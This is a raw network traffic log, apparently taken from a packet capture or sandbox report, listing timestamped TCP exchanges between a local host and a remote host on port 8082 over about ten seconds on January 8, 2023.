Jan 8, 2023 16:07:49.644047976 CET	8082	49814	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:49.661211014 CET	49815	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:49.775753975 CET	8082	49815	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:49.776079893 CET	49815	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:49.777384043 CET	49815	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:49.891300917 CET	8082	49815	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:49.894764900 CET	8082	49815	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:49.894929886 CET	49815	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:49.894977093 CET	8082	49815	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:49.895071983 CET	8082	49815	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:49.895096064 CET	49815	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:49.895133018 CET	49815	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:49.911432981 CET	49815	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:50.028182983 CET	8082	49815	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:50.054024935 CET	49816	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:50.168977022 CET	8082	49816	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:50.173145056 CET	49816	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:50.173841953 CET	49816	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:50.288167953 CET	8082	49816	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:50.291698933 CET	8082	49816	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:50.291745901 CET	8082	49816	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:50.291903019 CET	49816	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:50.291985989 CET	8082	49816	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:50.293060064 CET	49816	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:50.303128958 CET	49816	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:50.417339087 CET	8082	49816	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:50.430084944 CET	49817	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:50.544361115 CET	8082	49817	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:50.544523001 CET	49817	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:50.544991016 CET	49817	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:50.659018993 CET	8082	49817	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:50.664100885 CET	8082	49817	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:50.664132118 CET	8082	49817	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:50.664145947 CET	8082	49817	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:50.664253950 CET	49817	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:50.674597979 CET	49817	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:50.788718939 CET	8082	49817	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:50.804822922 CET	49818	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:50.919562101 CET	8082	49818	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:50.921150923 CET	49818	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:50.921629906 CET	49818	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:51.036030054 CET	8082	49818	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:51.040569067 CET	8082	49818	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:51.040621996 CET	8082	49818	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:51.040745974 CET	49818	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:51.040822029 CET	49818	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:51.041004896 CET	8082	49818	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:51.041074991 CET	49818	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:51.049232960 CET	49818	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:51.163628101 CET	8082	49818	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:51.177726030 CET	49819	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:51.292085886 CET	8082	49819	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:51.292236090 CET	49819	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:51.295474052 CET	49819	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:51.409404039 CET	8082	49819	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:51.413897038 CET	8082	49819	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:51.413938999 CET	8082	49819	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:51.413959026 CET	8082	49819	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:51.413994074 CET	49819	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:51.414047003 CET	49819	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:51.421967030 CET	49819	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:51.536359072 CET	8082	49819	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:51.555844069 CET	49820	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:51.670470953 CET	8082	49820	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:51.670659065 CET	49820	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:51.671174049 CET	49820	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:51.785218954 CET	8082	49820	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:51.789377928 CET	8082	49820	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:51.789422989 CET	8082	49820	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:51.789469957 CET	8082	49820	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:51.789485931 CET	49820	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:51.789542913 CET	49820	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:51.789542913 CET	49820	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:51.803705931 CET	49820	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:51.917752028 CET	8082	49820	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:51.954025030 CET	49821	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:52.068310022 CET	8082	49821	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:52.068420887 CET	49821	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:52.069259882 CET	49821	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:52.183017015 CET	8082	49821	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:52.187520027 CET	8082	49821	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:52.187577009 CET	8082	49821	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:52.187640905 CET	49821	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:52.187684059 CET	49821	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:52.187707901 CET	8082	49821	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:52.187757969 CET	49821	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:52.201463938 CET	49821	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:52.315876007 CET	8082	49821	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:52.333548069 CET	49822	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:52.448081017 CET	8082	49822	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:52.448390961 CET	49822	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:52.452488899 CET	49822	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:52.567078114 CET	8082	49822	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:52.571934938 CET	8082	49822	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:52.571973085 CET	8082	49822	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:52.572062016 CET	49822	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:52.572062016 CET	49822	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:52.572263002 CET	8082	49822	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:52.572321892 CET	49822	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:52.595591068 CET	49822	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:52.709881067 CET	8082	49822	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:52.729156971 CET	49823	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:52.843945980 CET	8082	49823	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:52.844285965 CET	49823	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:52.844851971 CET	49823	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:52.958661079 CET	8082	49823	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:52.962483883 CET	8082	49823	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:52.962518930 CET	8082	49823	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:52.962645054 CET	8082	49823	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:52.962765932 CET	49823	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:52.962819099 CET	49823	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:52.973747015 CET	49823	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:53.087924957 CET	8082	49823	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:53.105287075 CET	49824	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:53.219563007 CET	8082	49824	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:53.221400023 CET	49824	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:53.222223997 CET	49824	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:53.336158991 CET	8082	49824	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:53.339643002 CET	8082	49824	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:53.339679003 CET	8082	49824	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:53.339821100 CET	49824	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:53.340014935 CET	8082	49824	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:53.341322899 CET	49824	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:53.353991032 CET	49824	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:53.468085051 CET	8082	49824	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:53.482129097 CET	49825	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:53.596358061 CET	8082	49825	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:53.596497059 CET	49825	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:53.597007990 CET	49825	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:53.710926056 CET	8082	49825	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:53.716433048 CET	8082	49825	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:53.716500044 CET	8082	49825	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:53.716679096 CET	49825	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:53.716700077 CET	8082	49825	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:53.718806028 CET	49825	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:53.725250959 CET	49825	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:53.839200974 CET	8082	49825	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:53.855695963 CET	49826	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:53.970294952 CET	8082	49826	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:53.970513105 CET	49826	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:53.971342087 CET	49826	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:54.085088968 CET	8082	49826	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:54.088591099 CET	8082	49826	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:54.088634968 CET	8082	49826	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:54.088660955 CET	8082	49826	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:54.088690996 CET	49826	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:54.088691950 CET	49826	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:54.088777065 CET	49826	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:54.109520912 CET	49826	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:54.223849058 CET	8082	49826	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:54.247303963 CET	49827	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:54.361748934 CET	8082	49827	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:54.361886024 CET	49827	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:54.362359047 CET	49827	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:54.476667881 CET	8082	49827	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:54.481698036 CET	8082	49827	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:54.481745005 CET	8082	49827	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:54.481770039 CET	8082	49827	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:54.481892109 CET	49827	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:54.483634949 CET	49827	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:54.491457939 CET	49827	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:54.605834007 CET	8082	49827	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:54.620038986 CET	49828	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:54.734590054 CET	8082	49828	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:54.734723091 CET	49828	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:54.735341072 CET	49828	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:54.849179029 CET	8082	49828	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:54.853708029 CET	8082	49828	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:54.853750944 CET	8082	49828	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:54.853777885 CET	8082	49828	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:54.853826046 CET	49828	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:54.853913069 CET	49828	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:54.864196062 CET	49828	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:54.978791952 CET	8082	49828	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:54.997524977 CET	49829	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:55.112605095 CET	8082	49829	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:55.112757921 CET	49829	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:55.113424063 CET	49829	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:55.227449894 CET	8082	49829	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:55.231472015 CET	8082	49829	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:55.231523037 CET	8082	49829	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:55.231566906 CET	49829	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:55.231602907 CET	49829	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:55.231908083 CET	8082	49829	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:55.231981993 CET	49829	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:55.245735884 CET	49829	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:55.359911919 CET	8082	49829	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:55.385808945 CET	49830	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:55.500078917 CET	8082	49830	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:55.500217915 CET	49830	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:55.503418922 CET	49830	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:55.617682934 CET	8082	49830	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:55.621908903 CET	8082	49830	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:55.621958971 CET	8082	49830	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:55.621994972 CET	8082	49830	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:55.622013092 CET	49830	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:55.622065067 CET	49830	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:55.622065067 CET	49830	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:55.645744085 CET	49830	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:55.760001898 CET	8082	49830	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:55.771830082 CET	49831	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:55.885982037 CET	8082	49831	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:55.886094093 CET	49831	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:55.886754990 CET	49831	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:56.001282930 CET	8082	49831	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:56.004916906 CET	8082	49831	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:56.004949093 CET	8082	49831	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:56.005119085 CET	49831	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:56.005244017 CET	8082	49831	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:56.005327940 CET	49831	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:56.014854908 CET	49831	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:56.129148960 CET	8082	49831	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:56.168453932 CET	49832	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:56.283091068 CET	8082	49832	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:56.283708096 CET	49832	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:56.296515942 CET	49832	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:56.412220001 CET	8082	49832	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:56.416632891 CET	8082	49832	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:56.416661978 CET	8082	49832	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:56.416686058 CET	8082	49832	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:56.416744947 CET	49832	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:56.416744947 CET	49832	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:56.416817904 CET	49832	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:56.428343058 CET	49832	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:56.543998003 CET	8082	49832	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:56.555255890 CET	49833	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:56.669547081 CET	8082	49833	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:56.669687986 CET	49833	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:56.670192003 CET	49833	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:56.784142971 CET	8082	49833	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:56.828700066 CET	8082	49833	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:56.828902960 CET	8082	49833	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:56.828950882 CET	8082	49833	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:56.829252005 CET	49833	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:56.831263065 CET	49833	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:56.838215113 CET	49833	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:56.952377081 CET	8082	49833	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:56.982830048 CET	49834	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:57.097251892 CET	8082	49834	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:57.097395897 CET	49834	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:57.097958088 CET	49834	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:57.211986065 CET	8082	49834	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:57.216367960 CET	8082	49834	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:57.216439962 CET	8082	49834	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:57.216487885 CET	8082	49834	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:57.216568947 CET	49834	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:57.216572046 CET	49834	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:57.216572046 CET	49834	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:57.229135036 CET	49834	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:57.343280077 CET	8082	49834	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:57.354270935 CET	49835	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:57.468753099 CET	8082	49835	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:57.468940020 CET	49835	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:57.469589949 CET	49835	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:57.583409071 CET	8082	49835	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:57.587747097 CET	8082	49835	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:57.587771893 CET	8082	49835	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:57.587873936 CET	8082	49835	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:57.588053942 CET	49835	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:57.595987082 CET	49835	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:57.710158110 CET	8082	49835	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:57.743205070 CET	49836	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:57.857827902 CET	8082	49836	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:57.858021975 CET	49836	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:57.858541965 CET	49836	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:57.973468065 CET	8082	49836	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:57.978287935 CET	8082	49836	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:57.978328943 CET	8082	49836	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:57.978352070 CET	8082	49836	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:57.978389025 CET	49836	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:57.978498936 CET	49836	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:57.987310886 CET	49836	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:58.101586103 CET	8082	49836	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:58.119044065 CET	49837	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:58.233207941 CET	8082	49837	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:58.233354092 CET	49837	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:58.236181974 CET	49837	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:58.350012064 CET	8082	49837	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:58.354341030 CET	8082	49837	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:58.354379892 CET	8082	49837	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:58.354460955 CET	8082	49837	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:58.354469061 CET	49837	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:58.354511976 CET	49837	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:58.355865955 CET	49837	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:58.389997959 CET	49837	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:58.504133940 CET	8082	49837	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:58.521119118 CET	49838	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:58.636791945 CET	8082	49838	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:58.636914968 CET	49838	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:58.638756037 CET	49838	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:58.752681971 CET	8082	49838	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:58.757030010 CET	8082	49838	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:58.757071972 CET	8082	49838	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:58.757113934 CET	49838	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:58.757163048 CET	49838	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:58.757607937 CET	8082	49838	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:58.757678986 CET	49838	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:58.768527985 CET	49838	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:58.883727074 CET	8082	49838	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:58.901726961 CET	49839	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:59.015892029 CET	8082	49839	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:59.016165972 CET	49839	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:59.016884089 CET	49839	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:59.130727053 CET	8082	49839	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:59.135883093 CET	8082	49839	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:59.135924101 CET	8082	49839	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:59.135963917 CET	8082	49839	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:59.136077881 CET	49839	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:59.136142015 CET	49839	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:59.146358013 CET	49839	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:59.260373116 CET	8082	49839	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:59.279020071 CET	49840	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:59.393718004 CET	8082	49840	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:59.393918037 CET	49840	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:59.394674063 CET	49840	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:59.508651018 CET	8082	49840	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:59.512906075 CET	8082	49840	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:59.512953997 CET	8082	49840	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:59.512973070 CET	8082	49840	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:59.513261080 CET	49840	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:59.524858952 CET	49840	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:59.638977051 CET	8082	49840	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:59.663108110 CET	49841	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:59.777770042 CET	8082	49841	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:59.777980089 CET	49841	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:59.780519009 CET	49841	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:59.899689913 CET	8082	49841	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:59.899789095 CET	8082	49841	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:59.899909973 CET	8082	49841	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:59.899986982 CET	8082	49841	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:59.899986982 CET	49841	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:59.900043964 CET	49841	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:59.900060892 CET	49841	8082	192.168.2.6	20.104.209.69
